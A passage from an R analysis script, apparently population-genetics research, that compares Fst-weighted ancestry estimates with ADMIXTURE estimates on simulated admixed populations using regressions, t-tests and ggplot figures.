ifelse(sims_LSBL$LSBL_ADMIXED < 0, 0, sims_LSBL$LSBL_ADMIXED)\n\nhist(sims_ANC$PARENT1_ANC) \n\n\n#Calculate Ancestral proportions at each locus\nsims_ANC <- sims_LSBL %>%\n mutate(PARENT2_ANC = 1 - (LSBL_PARENT2/(LSBL_PARENT1 + LSBL_PARENT2))) %>%\n mutate(PARENT1_ANC = 1 - (LSBL_PARENT1/(LSBL_PARENT2 + LSBL_PARENT1))) %>%\n mutate(LSBL_PARENTS = LSBL_PARENT1 + LSBL_PARENT2) %>%\n dplyr::select(RS, POP, CHR, POS, LSBL_PARENT2, LSBL_PARENT1, LSBL_ADMIXED, LSBL_PARENTS, PARENT2_ANC, PARENT1_ANC)\n\n#Mean ancestry tests\n\nadmixtable = read.table(inputfile2)\nadmixtable <- admixtable %>%\n slice(81:120)\nmean(admixtable$V1)\n\nw_Mean1 <- weighted.mean(sims_ANC$PARENT1_ANC,(sims_ANC$LSBL_PARENT1+sims_ANC$LSBL_PARENT2), na.rm =TRUE)\nw_Mean1\n\nw_Mean2 <- weighted.mean(sims_ANC$PARENT1_ANC,((sims_ANC$LSBL_PARENTS)**2))\nw_Mean2\n\ntry1 <- sims_ANC[\n sims_ANC$LSBL_PARENTS >= quantile(sims_ANC$LSBL_PARENTS, 0.90),\n ]\n\nmean(try1$PARENT1_ANC, na.rm = TRUE)\n\nMean <- weighted.mean(try1$PARENT1_ANC, ((try1$LSBL_PARENTS)), na.rm = TRUE)\nMean\n\nw_Mean <- weighted.mean(try1$PARENT1_ANC, ((try1$LSBL_PARENTS)**2), na.rm = TRUE)\nw_Mean\n\ntry2 <- sims_ANC[\n sims_ANC$LSBL_PARENTS >= quantile(sims_ANC$LSBL_PARENTS, 0.95),\n ]\n\nmean(try2$PARENT1_ANC, na.rm = TRUE)\n\nw_Mean <- weighted.mean(try2$PARENT1_ANC, ((try2$LSBL_PARENTS)), na.rm = TRUE)\nw_Mean\n\nw_Mean <- weighted.mean(try2$PARENT1_ANC, ((try2$LSBL_PARENTS)**2), na.rm = TRUE)\nw_Mean\n\ntry3 <- sims_ANC[\n sims_ANC$LSBL_PARENTS >= quantile(sims_ANC$LSBL_PARENTS, 0.99),\n ]\n\nmean(try3$PARENT1_ANC, na.rm = TRUE)\n\nw_Mean <- weighted.mean(try3$PARENT1_ANC, ((try3$LSBL_PARENTS)), na.rm = TRUE)\nw_Mean\n\nw_Mean <- weighted.mean(try3$PARENT1_ANC, ((try3$LSBL_PARENTS)**2), na.rm = TRUE)\nw_Mean\n\ntry4 <- sims_ANC[\n sims_ANC$LSBL_PARENTS >= quantile(sims_ANC$LSBL_PARENTS, 0.50),\n ]\nmean(try4$PARENT1_ANC, na.rm = TRUE)\n\nMean <- weighted.mean(try4$PARENT1_ANC, ((try4$LSBL_PARENTS)), na.rm = TRUE)\nMean\n\nw_Mean <- weighted.mean(try4$PARENT1_ANC, ((try4$LSBL_PARENTS)**2), na.rm = TRUE)\nw_Mean\n\ntry5 <- sims_ANC[\n sims_ANC$LSBL_PARENTS >= quantile(sims_ANC$LSBL_PARENTS, 0.60),\n ]\n\nmean(try5$PARENT1_ANC, na.rm = TRUE)\n\nMean <- weighted.mean(try4$PARENT1_ANC, ((try5$LSBL_PARENTS)), na.rm = TRUE)\nMean\n\nw_Mean <- weighted.mean(try4$PARENT1_ANC, ((try5$LSBL_PARENTS)**2), na.rm = TRUE)\nw_Mean\n\n\ntry6 <- sims_ANC[\n sims_ANC$LSBL_PARENTS >= quantile(sims_ANC$LSBL_PARENTS, 0.70),\n ]\n\nmean(try6$PARENT1_ANC, na.rm = TRUE)\n\nMean <- weighted.mean(try6$PARENT1_ANC, ((try6$LSBL_PARENTS)), na.rm = TRUE)\nMean\n\nw_Mean <- weighted.mean(try6$PARENT1_ANC, ((try6$LSBL_PARENTS)**2), na.rm = TRUE)\nw_Mean\n\n\ntry7 <- sims_ANC[\n sims_ANC$LSBL_PARENTS >= quantile(sims_ANC$LSBL_PARENTS, 0.80),\n ]\n\nmean(try7$PARENT1_ANC, na.rm = TRUE)\n\nMean <- weighted.mean(try7$PARENT1_ANC, ((try7$LSBL_PARENTS)), na.rm = TRUE)\nMean\n\nw_Mean <- weighted.mean(try7$PARENT1_ANC, ((try7$LSBL_PARENTS)**2), na.rm = TRUE)\nw_Mean\n\nsd(sims_ANC$PARENT1_ANC, na.rm =TRUE)\n\nsd(sims_LSBL$LSBL_ADMIXED, na.rm = TRUE)\n\n\n#Which weight is the best? \n\n#No readable results from a GLM, let's just do regressions then\ntrails <- read.csv(\"~/trials_again.csv\")\nhead(trails)\n\ntrails <- trails %>%\n arrange(Prop.Parent1) %>%\n na.omit()\nhead(trails)\n\nadm <- lm(Prop.Parent1 ~ ADMIXTURE, trails)\nsummary(adm)\n#r2 = 0.992, 0.92\n\nfst <- lm(Prop.Parent1 ~ FST, trails)\nsummary(fst)\n#r2 = 0.986, 1.2\n\nw_sq <- lm(Prop.Parent1 ~ w_sq, trails)\nsummary(w_sq)\n#r2 = 0.993, 1.14\n\nw_log <- lm(Prop.Parent1 ~ w_log, trails)\nsummary(w_log)\n#r2 = 0.962, 1.62\n\ns90 <- lm(Prop.Parent1 ~ s90, trails)\nsummary(s90)\n#r2 = 0.99, 1.07\n\nw90 <- lm(Prop.Parent1 ~ w90, trails)\nsummary(w90)\n#r2 = 0.99, 1.08\n\nw90_sq <- lm(Prop.Parent1 ~ w90_sq, trails)\nsummary(w90_sq)\n#r2 = 0.822, 1.04\n\ns95 <- lm(Prop.Parent1 ~ s95, trails)\nsummary(s95)\n#r2 = 0.991, 1.06\n\nw95 <- lm(Prop.Parent1 ~ w95, trails)\nsummary(w95)\n#r2 = 0.99, 1.04\n\nw95_sq <- lm(Prop.Parent1 ~ w95_sq, trails)\nsummary(w95_sq)\n#r2 = 0.991, 1.06\n\ns99 <- lm(Prop.Parent1 ~ s99, trails)\nsummary(s99)\n#r2 = 0.989, 1.04\n\nw99 <- lm(Prop.Parent1 ~ w99, trails)\nsummary(w99)\n#0.989, 1.04\n\nw99_sq <- lm(Prop.Parent1 ~ w99_sq, trails)\nsummary(w99_sq)\n#0.99, 1.04\n\ns50 <- lm(Prop.Parent1 ~ s50, trails)\nsummary(s50)\n#r2 = 0.986, 1.2\n\nw50 <- lm(Prop.Parent1 ~ w50, trails)\nsummary(w50)\n#0.992, 1.17\n\nw50_sq <- lm(Prop.Parent1 ~ w50_sq, trails)\nsummary(w50_sq)\n#0.789, 1.07\n\ns60 <- lm(Prop.Parent1 ~ s60, trails)\nsummary(s60)\n#r2 = 0.991, 1.19\n\nw60 <- lm(Prop.Parent1 ~ w60, trails)\nsummary(w60)\n#0.603, 0.925\n\nw60_sq <- lm(Prop.Parent1 ~ w60_sq, trails)\nsummary(w60_sq)\n#0.993, 1.12\n\ns70 <- lm(Prop.Parent1 ~ s70, trails)\nsummary(s70)\n#r2 = 0.992, 1.15\n\nw70 <- lm(Prop.Parent1 ~ w70, trails)\nsummary(w70)\n#0.715, 1.01\n\nw70_sq <- lm(Prop.Parent1 ~ w70_sq, trails)\nsummary(w70_sq)\n#0.993, 1.11\n\ns80 <- lm(Prop.Parent1 ~ s80, trails)\nsummary(s80)\n#r2 = 0.992, 1.12\n\nw80 <- lm(Prop.Parent1 ~ w80, trails)\nsummary(w80)\n#0.992, 1.1\n\nw80_sq <- lm(Prop.Parent1 ~ w80_sq, trails)\nsummary(w80_sq)\n#0.992, 1.09\n\n#Make some nice graphs out of these things\nFST_text <- \"Fst Adjusted r2: 0.986\n slope = 1.2, p < 2.2e-16\"\n\nFST_pos <- grid.text(FST_text, x = 0.7, y = 0.3,\n gp=gpar(fontsize = 8))\n\nADM_text <- \"ADMIXTURE Adjusted r2: 0.992 \n slope = 0.92, p < 2.2e-16\"\nADM_pos <- grid.text(ADM_text, x = 0.7, y = 0.2,\n gp=gpar(fontsize = 8))\n\ntheme_update(plot.title = element_text(hjust = 0.5))\n\n\nlm_COMPARE2 <- ggplot(trails, aes(FST, Prop.Parent1)) +\n geom_point(aes(color = \"Fst Weighted Mean\")) + \n xlab(\"Estimated Proportions\") + \n ylab(\"Simulated Proportions\") + \n geom_point(aes(trails$ADMIXTURE, trails$Prop.Parent1, \n color = \"ADMIXTURE Estimates\")) + \n geom_smooth(method = 'lm', se = FALSE,\n size = 0.2, color = \"darkred\") + \n geom_smooth(method = 'lm', aes(trails$ADMIXTURE, trails$Prop.Parent1),\n se = FALSE,size = 0.2, color = \"darkorange\") + \n ggtitle(\"ADMIXTURE vs Fst Estimates (All Time Depths)\") +\n annotation_custom(FST_pos) + \n annotation_custom(ADM_pos) + \n scale_color_futurama() + \n labs(color = \"\") +\n theme_bw()\nlm_COMPARE2\n\npdf(\"~/FST_Test.pdf\")\nlm_COMPARE2\ndev.off()\n\nCOMPARE_text <- \"Red = w_mean\n Light green = w90\n Violet = s90\n Beige = s95\n Navy = w95\n Brick Red = w95_sq\n Forest Green = s99\n Turquoise = w99\n Yellow = w99_sq\n Orange = ADMIXTURE\"\n\nCOMPARE_pos <- grid.text(COMPARE_text, x = 0.7, y = 0.3,\n gp=gpar(fontsize = 8))\n\n\n#lm_COMPARE2 is a template ggplot script that has been changed depending on which \n#weights need to be emphasized for the plot produced\nlm_COMPARE2 <- ggplot(trails, aes(w95, Prop.Parent1)) +\n geom_point(aes(color = \"FST Mean\")) + \n xlab(\"Estimated Proportions\") + \n ylab(\"Simulated Proportions\") + \n geom_point(aes(trails$ADMIXTURE, trails$Prop.Parent1, \n color = \"ADMIXTURE Estimates\")) + \n #geom_smooth(method = 'lm', se = FALSE,\n # size = 0.1, color = \"lightgrey\") + \n geom_smooth(method = 'lm', aes(trails$ADMIXTURE, trails$Prop.Parent1),\n se = FALSE,size = 0.2, color = \"darkorange\") + \n #geom_smooth(method = 'lm', aes(trails$w_sq, trails$Prop.Parent1),\n # se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n #geom_smooth(method = 'lm', aes(trails$w90_sq, trails$Prop.Parent1),\n # se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n geom_smooth(method = 'lm', aes(trails$s95, trails$Prop.Parent1),\n se = FALSE, size = 0.3, color = \"red\") +\n #geom_smooth(method = 'lm', aes(trails$w95, trails$Prop.Parent1),\n # se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n #geom_smooth(method = 'lm', aes(trails$w95_sq, trails$Prop.Parent1),\n # se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n #geom_smooth(method = 'lm', aes(trails$s99, trails$Prop.Parent1),\n # se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n #geom_smooth(method = 'lm', aes(trails$w99, trails$Prop.Parent1),\n # se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n #geom_smooth(method = 'lm', aes(trails$w99_sq, trails$Prop.Parent1),\n # se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n #geom_smooth(method = 'lm', aes(trails$s90, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$w90, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$s50, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$w50, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$w50_sq, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$s60, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$w60, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$w60_sq, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$s70, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n# geom_smooth(method = 'lm', aes(trails$w70, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$w70_sq, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$s80, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n#geom_smooth(method = 'lm', aes(trails$w80, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\n# geom_smooth(method = 'lm', aes(trails$w80_sq, trails$Prop.Parent1),\n# se = FALSE,size = 0.1, color = \"lightgrey\" ) +\nscale_color_futurama() + \n #annotation_custom(COMPARE_pos) +\n labs(color = \"\") +\n theme_bw()\nlm_COMPARE2\n\npdf(\"~/FST_Sims/Weight_Trials2.pdf\")\nlm_COMPARE2\ndev.off()\n\n\n#T-Test\nnew_trials <- read.csv(\"~/trials_again.csv\")\nt.test(new_trials$ADMIXTURE, new_trials$s95)\n\ntrials <- read.csv(\"~/FST_Sims/trials_2.csv\")\nhead(trials)\n\nt.test(trials$ADM_mean1, trials$w_mean1)\nt.test(trials$ADM_mean1, trials$s95)\n\n#What about SD and Population Age?\ntrials <- trials %>%\n dplyr::select(\"X\", \"Adm_Size\", \"T_Admix\",\"Prop_1\", \"s95\", \"SD\") %>%\n na.omit()\nhead(trials)\n\n#relationship between SD and Time to Admixture\nmodelSD1 <- lm(T_Admix ~ SD, data = trials)\nsummary(modelSD1)\n\n#relationship between SD and proportion\nmodelSD2 <- lm(SD ~ Prop_1, data = trials)\nsummary(modelSD2)\n\nSDTime <- ggplot(data = trials, aes(T_Admix, SD, col = factor(Prop_1))) + \n geom_point() + \n scale_color_discrete(name = \"\") + \n xlab(\"Time to Admixture (ybp)\") + \n ylab(\"Standard Deviation\") + \n theme_bw()\nSDTime\n\npdf(\"~/FST_Sims/SDTime.pdf\")\nSDTime\ndev.off()\n\nProp1 <- trials %>%\n filter(Prop_1 == 0.50)\nProp2 <- subset(trials, trials$Prop_1 == 0.60)\nProp3 <- subset(trials, trials$Prop_1 == 0.70)\nProp4 <- subset(trials, trials$Prop_1 == 0.80)\nProp5 <- subset(trials, trials$Prop_1 == 0.90)\nProp6 <- subset(trials, trials$Prop_1 == 0.95)\nProp7 <- subset(trials, trials$Prop_1 == 0.99)\nhead(Prop7)\n\npr1 <- ggplot(Prop1, aes(T_Admix, LSBLa_sd, col = factor(T_Admix))) + \n geom_point() + \n scale_color_discrete(name = \"\")\npr1\n\npr2 <- ggplot(Prop2, aes(T_Admix, LSBLa_sd)) + geom_point()\npr2\n\npr3 <- ggplot(Prop3, aes(T_Admix, LSBLa_sd)) + geom_point()\npr3\n\nProp1 %>%\n arrange(T_Admix)\nProp3 %>%\n arrange(T_Admix)\n\n\ndrift1 <- lm(T_Admix ~ LSBLa_sd, Prop1)\nsummary(drift1)\n\ndrift2 <- lm(T_Admix ~ LSBLa_sd, Prop2)\nsummary(drift2)\n\ndrift3 <- lm(T_Admix ~ wtVar, Prop3)\nsummary(drift3)\n\ndrift4 <- lm(T_Admix ~ wtVar, Prop4)\nsummary(drift4)\n\ndrift5 <- lm(T_Admix ~ wtVar, Prop5)\nsummary(drift5)\n\ndrift6 <- lm(T_Admix ~ wtVar, Prop6)\nsummary(drift6)\n\ndrift7 <- lm(T_Admix ~ wtVar, Prop7)\nsummary(drift7)\n\ndrift <- lm(T_Admix ~ wtVar * Prop_1, trials)\nsummary(drift)\n\n\n#Let's look at all the time depths separately and then do an overall \n#analysis\ntrial1 <- subset(trials, trials$T_Admix == \"1000\")\ntrial2 <- subset(trials, trials$T_Admix == \"5000\")\ntrial3 <- subset(trials, trials$T_Admix == \"10000\")\ntrial4 <- subset(trials, trials$T_Admix == \"50000\")\ntrial5 <- subset(trials, trials$T_Admix == \"500\")\ntrial6 <- subset(trials, trials$T_Admix == \"200\")\ntrial7 <- subset(trials, trials$T_Admix == \"100\")\n\ntext1 <- \"Fst Adjusted r2: 0.981\n slope = 1.24, p < 1.1e-5, df = 5\"\ntextpos1 <- grid.text(text1, x = 0.7, y = 0.3,\n gp=gpar(col = \"red\", \n fontsize = 8))\n\ntext12 <- \"ADMIXTURE Adjusted r2: 0.99\n slope = 0.92, p < 2-e6, df = 5\"\ntextpos12 <- grid.text(text12, x = 0.7, y = 0.2,\n gp=gpar(col = \"red\",\n fontsize = 8))\n\ntrial_plot1 <- ggplot(trial1, aes(X, Prop_1, color = \"Simulated Ancestry\")) + \n geom_point() +\n geom_point(aes(x = trial1$X, y = trial1$w_mean1, color = \"Fst Weighted Mean\")) + \n geom_point(aes(x = trial1$X, y = trial1$ADM_mean1, color = \"ADMIXTURE Mean\")) +\n xlab(\"\") +\n ylab(\"Ancestry Proportions\") +\n ggtitle(\"Parent 1 Ancestry Proportions 1kya\") +\n annotation_custom(textpos1) + \n annotation_custom(textpos12) + \n scale_color_futurama(name = \"\") +\n theme_bw() +\n theme(axis.text.x = element_text(angle = 90, hjust = 1)) +\n theme(legend.position = 'none')\n\ntrial_plot1 <- trial_plot1 +\n geom_smooth(method = 'lm', aes(trial1$ADM_mean1, trial1$Prop_1),\n se = FALSE, size = 0.2, color = \"darkorange\") +\n geom_smooth(aes(trial1$w_mean1, trial1$Prop_1), method = 'lm', se = FALSE,\n size = 0.2, color = \"darkred\")\ntrial_plot1\n\n#put this in order!\n\ntext2 <- \"Fst Adjusted r2: 0.992\n slope = 1.12, p < 1.3e-6, df = 5\"\ntextpos2 <- grid.text(text2, x = 0.7, y = 0.3,\n gp=gpar(col = \"red\", \n fontsize = 8))\n\ntext22 <- \"ADMIXTURE Adjusted r2: 0.997\n slope = 0.99, p < 1.1-e7, df = 5\"\ntextpos22 <- grid.text(text22, x = 0.7, y = 0.2,\n gp=gpar(col = \"red\",\n fontsize = 8))\n\ntrial2$X <- as.character(trial2$X)\ntrial2$X <- factor(trial2$X, levels=unique(trial2$X))\ntrial_plot2 <- ggplot(trial2, aes(X, Prop_1, color = \"Simulated Ancestry\")) + \n geom_point() + \n geom_point(aes(x = trial2$X, y = trial2$w_mean1, color = \"Fst Weighted Mean\")) + \n geom_point(aes(x = trial2$X, y = trial2$ADM_mean1, color = \"ADMIXTURE Mean\")) + \n ylab(\"Ancestry Proportions\") +\n xlab(\"\") +\n ggtitle(\"Parent 1 Ancestry Proportions 5kya\") +\n annotation_custom(textpos2) + \n annotation_custom(textpos22) + \n scale_color_futurama(name = \"\") +\n theme_bw() +\n theme(axis.text.x = element_text(angle = 90, hjust = 1)) +\n theme(legend.position = 'none')\ntrial_plot2\n\ntext3 <- \"Fst Adjusted r2: 0.992\n slope = 1.12, p < 1.3e-6, df = 5\"\ntextpos3 <- grid.text(text3, x = 0.7, y = 0.3,\n gp=gpar(col = \"red\", \n fontsize = 8))\n\ntext32 <- \"ADMIXTURE Adjusted r2: 0.995\n slope = 0.95, p < 4.4e-7, df = 5\"\ntextpos32 <- grid.text(text32, x = 0.7, y = 0.2,\n gp=gpar(col = \"red\",\n fontsize = 8))\n\ntrial_plot3 <- ggplot(trial3, aes(X, Prop_1, color = \"Simulated Ancestry\")) + \n geom_point() + \n geom_point(aes(x = trial3$X, y = trial3$w_mean1, color = \"Fst Weighted Mean\")) + \n geom_point(aes(x = trial3$X, y = trial3$ADM_mean1, color = \"ADMIXTURE Mean\")) + \n ylab(\"Ancestry Proportions\") +\n xlab(\"\") +\n ggtitle(\"Parent 1 Ancestry Proportions 10kya\") +\n annotation_custom(textpos3) + \n annotation_custom(textpos32) + \n scale_color_futurama(name = \"\") +\n theme_bw() +\n theme(axis.text.x = element_text(angle = 90, hjust = 1)) +\n theme(legend.position = 'none')\ntrial_plot3\n\ntext4 <- \"Fst Adjusted r2: 0.993\n slope = 1.16, p < 9.9e-7, df = 5\"\ntextpos4 <- grid.text(text4, x = 0.7, y = 0.3,\n gp=gpar(col = \"red\", \n fontsize = 8))\n\ntext42 <- \"ADMIXTURE Adjusted r2: 0.995\n slope = 1.02, p < 3.5e-7, df = 5\"\ntextpos42 <- grid.text(text42, x = 0.7, y = 0.2,\n gp=gpar(col = \"red\",\n fontsize = 8))\n\ntrial_plot4 <- ggplot(trial4, aes(X, Prop_1, color = \"Simulated Ancestry\")) + \n geom_point() +\n geom_point(aes(x = trial4$X, y = trial4$w_mean1, color = \"Fst Weighted Mean\")) + \n geom_point(aes(x = trial4$X, y = trial4$ADM_mean1, color = \"ADMIXTURE Mean\")) + \n ylab(\"Ancestry Proportions\") +\n xlab(\"\") +\n annotation_custom(textpos4) + \n annotation_custom(textpos42) + \n scale_color_futurama(name = \"\") +\n ggtitle(\"Parent 1 Ancestry Proportions 50kya\") +\n theme_bw() +\n theme(axis.text.x = element_text(angle = 90, hjust = 1)) +\n theme(legend.position = 'none')\ntrial_plot4\n\ntext5 <- \"Fst Adjusted r2: 0.974\n slope = 1.08, p < 2.4e-5, df = 5\"\ntextpos5 <- grid.text(text5, x = 0.7, y = 0.3,\n gp=gpar(col = \"red\", \n fontsize = 8))\n\ntext52 <- \"ADMIXTURE Adjusted r2: 0.973\n slope = 1.09, p < 2.5e-5, df = 5\"\ntextpos52 <- grid.text(text52, x = 0.7, y = 0.2,\n gp=gpar(col = \"red\",\n fontsize = 8))\n\ntrial_plot5 <- ggplot(trial5, aes(X, Prop_1, color = \"Simulated Ancestry\")) + \n geom_point() +\n geom_point(aes(x = trial5$X, y = trial5$w_mean1, color = \"Fst Weighted Mean\")) +\n geom_point(aes(x = trial5$X, y = trial5$ADM_mean1, color = \"ADMIXTURE Mean\")) + \n ylab(\"Ancestry Proportions\") +\n xlab(\"\") +\n ggtitle(\"Parent 1 Ancestry Proportions 500ybp\") +\n annotation_custom(textpos5) + \n annotation_custom(textpos52) + \n scale_color_futurama(name = \"\") +\n theme_bw() +\n theme(axis.text.x = element_text(angle = 90, hjust = 1)) +\n theme(legend.position = 'none')\ntrial_plot5\n\ntext6 <- \"Fst Adjusted r2: 0.985\n slope = 1.12, p < 5.6e-6, df = 5\"\ntextpos6 <- grid.text(text6, x = 0.7, y = 0.3,\n gp=gpar(col = \"red\", \n fontsize = 8))\n\ntext62 <- \"ADMIXTURE Adjusted r2: 0.983\n slope = 0.79, p < 8.1-e6, df = 5\"\ntextpos62 <- grid.text(text62, x = 0.7, y = 0.2,\n gp=gpar(col = \"red\",\n fontsize = 8))\n\ntrial_plot6 <- ggplot(trial6, aes(X, Prop_1, color = \"Simulated Ancestry\")) + \n geom_point() +\n geom_point(aes(x = trial6$X, y = trial6$w_mean1, color = \"Fst Weighted Mean\")) + \n geom_point(aes(x = trial6$X, y = trial6$ADM_mean1, color = \"ADMIXTURE Mean\")) + \n ylab(\"Ancestry Proportions\") +\n xlab(\"\") +\n annotation_custom(textpos7) + \n annotation_custom(textpos72) + \n scale_color_futurama(name = \"\") +\n ggtitle(\"Parent 1 Ancestry Proportions 200ybp\") +\n theme_bw() +\n theme(axis.text.x = element_text(angle = 90, hjust = 1)) +\n theme(legend.position = 'none')\ntrial_plot6\n\ntext7 <- \"Fst Adjusted r2: 0.988\n slope = 0.98, p < 3.2e-6, df = 5\"\ntextpos7 <- grid.text(text7, x = 0.7, y = 0.3,\n gp=gpar(col = \"red\", \n fontsize = 8))\n\ntext72 <- \"ADMIXTURE Adjusted r2: 0.983\n slope = 0.79, p < 8.1-e6, df = 5\"\ntextpos72 <- grid.text(text72, x = 0.7, y = 0.2,\n gp=gpar(col = \"red\",\n fontsize = 8))\n\ntrial_plot7 <- ggplot(trial7, aes(X, Prop_1, color = \"Simulated Ancestry\")) + \n geom_point() +\n geom_point(aes(x = trial7$X, y = trial7$w_mean1, color = \"Fst Weighted Mean\")) + \n geom_point(aes(x = trial7$X, y = trial7$ADM_mean1, color = \"ADMIXTURE Mean\")) + \n xlab(\"\") +\n ylab(\"Ancestry Proportions\") +\n ggtitle(\"Parent 1 Ancestry Proportions 100ybp\") +\n annotation_custom(textpos7) + \n annotation_custom(textpos72) + \n scale_color_futurama(name = \"\") +\n theme_bw() +\n theme(axis.text.x = element_text(angle = 90, hjust = 1)) +\n theme(legend.position = 'none') \ntrial_plot7\n\n\npdf(\"~/FST_Sims/Fst_Ancestry_Props_vs_Simulated1.pdf\")\ntrial_plot4\ndev.off()\npdf(\"~/FST_Sims/Fst_Ancestry_Props_vs_Simulated2.pdf\")\ntrial_plot3\ndev.off()\npdf(\"~/FST_Sims/Fst_Ancestry_Props_vs_Simulated3.pdf\")\ntrial_plot2\ndev.off()\npdf(\"~/FST_Sims/Fst_Ancestry_Props_vs_Simulated4.pdf\")\ntrial_plot1\ndev.off()\npdf(\"~/FST_Sims/Fst_Ancestry_Props_vs_Simulated5.pdf\")\ntrial_plot5\ndev.off()\npdf(\"~/FST_Sims/Fst_Ancestry_Props_vs_Simulated6.pdf\")\ntrial_plot6\ndev.off()\npdf(\"~/FST_Sims/Fst_Ancestry_Props_vs_Simulated7.pdf\")\ntrial_plot7\ndev.off()\n\n#MAKE A PLOT OF TIME DEPTH VS VARIANCE TO CALCULATE GENETIC DRIFT \n\nmodel <- lm(trials$Prop_1 ~ trials$w_mean1)\nsummary(model)\n#Adjusted R-squared = 0.9762 --> p < 2.2e-16\n#slope = 1.11\n\nmodel2 <- lm(trials$Prop_1 ~ trials$ADM_mean1)\nsummary(model2)\n#Adjusted R-squared = 0.971\n#slope = 0.93\n\nmodel1 <- lm(trial1$Prop_1 ~ trial1$w_mean1)\nmodel2 <- lm(trial2$Prop_1 ~ trial2$w_mean1)\nmodel3 <- lm(trial3$Prop_1 ~ trial3$w_mean1)\nmodel4 <- lm(trial4$Prop_1 ~ trial4$w_mean1)\nmodel5 <- lm(trial5$Prop_1 ~ trial5$w_mean1)\nmodel6 <- lm(trial6$Prop_1 ~ trial6$w_mean1)\nmodel7 <- lm(trial7$Prop_1 ~ trial7$w_mean1)\nsummary(model1)\n#adjusted r squared = 0.98\nsummary(model2)\n#adjusted r sqared = 0.995\nsummary(model3)\n#adjusted r squared = 0.992\nsummary(model4)\n#adjusted r squared = 0.993\nsummary(model5)\n#adjusted r squared = 0.974\nsummary(model6)\n#adjusted r squared = 0.985\nsummary(model7)\n#adjusted r squared = 0.988\n\nmodel8 <- lm(trial1$Prop_1 ~ trial1$ADM_mean1)\nmodel9 <- lm(trial2$Prop_1 ~ trial2$ADM_mean1)\nmodel10 <- lm(trial3$Prop_1 ~ trial3$ADM_mean1)\nmodel11 <- lm(trial4$Prop_1 ~ trial4$ADM_mean1)\nmodel12 <- lm(trial5$Prop_1 ~ trial5$ADM_mean1)\nmodel13 <- lm(trial6$Prop_1 ~ trial6$ADM_mean1)\nmodel14 <- lm(trial7$Prop_1 ~ trial7$ADM_mean1)\nsummary(model8)\n#rs = 0.99\nsummary(model9)\n#rs = 0.997\nsummary(model10)\n#rs = .995\nsummary(model11)\n#rs = 0.995\nsummary(model12)\n#rs = 0.97\nsummary(model13)\n#rs = 0.987\nsummary(model14)\n#rs = 0.98\n\nmodel1a <- lm(trial1$Prop_1 ~ trial1$s95)\nmodel2a <- lm(trial2$Prop_1 ~ trial2$s95)\nmodel3a <- lm(trial3$Prop_1 ~ trial3$s95)\nmodel4a <- lm(trial4$Prop_1 ~ trial4$s95)\nmodel5a <- lm(trial5$Prop_1 ~ trial5$s95)\nmodel6a <- lm(trial6$Prop_1 ~ trial6$s95)\nmodel7a <- lm(trial7$Prop_1 ~ trial7$s95)\nsummary(model1a)\n#adjusted r squared = 0.98\nsummary(model2a)\n#adjusted r sqared = 0.995\nsummary(model3a)\n#adjusted r squared = 0.992\nsummary(model4a)\n#adjusted r squared = 0.993\nsummary(model5a)\n#adjusted r squared = 0.974\nsummary(model6a)\n#adjusted r squared = 0.985\nsummary(model7a)\n#adjusted r squared = 0.988\n\ntable <- read.csv(\"~/adm_fst_r2.csv\")\nt.test(table$ADM, table$FST)\n\nrsquared <- read.csv(\"~/FST_Sims/r_squared.csv\")\nhead(rsquared)\nrsquared$X <- as.character(rsquared$X)\nrsquared$X <- factor(rsquared$X, levels=unique(rsquared$X))\nr_sq <- ggplot(rsquared, aes(X, ADMIXTURE, col = \"ADMIXTURE\")) + \n geom_point() + \n geom_point(aes(rsquared$X, rsquared$Fst, col = \"Fst\")) + \n ggtitle(\"Adjusted r2 Values at Different Time Depths\") + \n xlab(\"Time of Admixture\") + \n ylab(\"Adjusted r2\") + \n scale_color_futurama() + \n labs(color = \"\") + \n theme_bw()\nr_sq\n\npdf(\"~/FST_Sims/r2_plot.pdf\")\nr_sq\ndev.off()\n\ntest <- glm(Prop_1 ~ w_mean1 + ADM_mean1, data = trials)\nsummary(test)\n\ntest2 <- lm(Prop_1 ~ s95, data = trials)\nsummary(test2)\n\nmy_text1 <- \"Fst Adjusted r2 for all Time Depths: 0.976\n slope = 1.11, p < 2.2e-16\"\ntext_pos1 <- grid.text(my_text1, x = 0.7, y = 0.3,\n gp=gpar(col = \"red\", \n fontsize = 8))\n\nmy_text2 <- \"ADMIXTURE Adjusted r2 for all Time Depths: 0.971\n slope = 0.93, p < 2.2e-16\"\ntext_pos2 <- grid.text(my_text2, x = 0.7, y = 0.2,\n gp=gpar(col = \"red\",\n fontsize = 8))\n\nmy_text3 <- \"5% Subset Adjusted r2 for all Time Depths: 0.992\n slope = 1, p < 2.2e-16\"\ntext_pos3 <- grid.text(my_text3, x = 0.7, y = 0.3,\n gp=gpar(col=\"red\",\n fontsize = 8))\n\nlm_tAdmix <- ggplot(trials, aes(w_mean1, Prop_1, col = 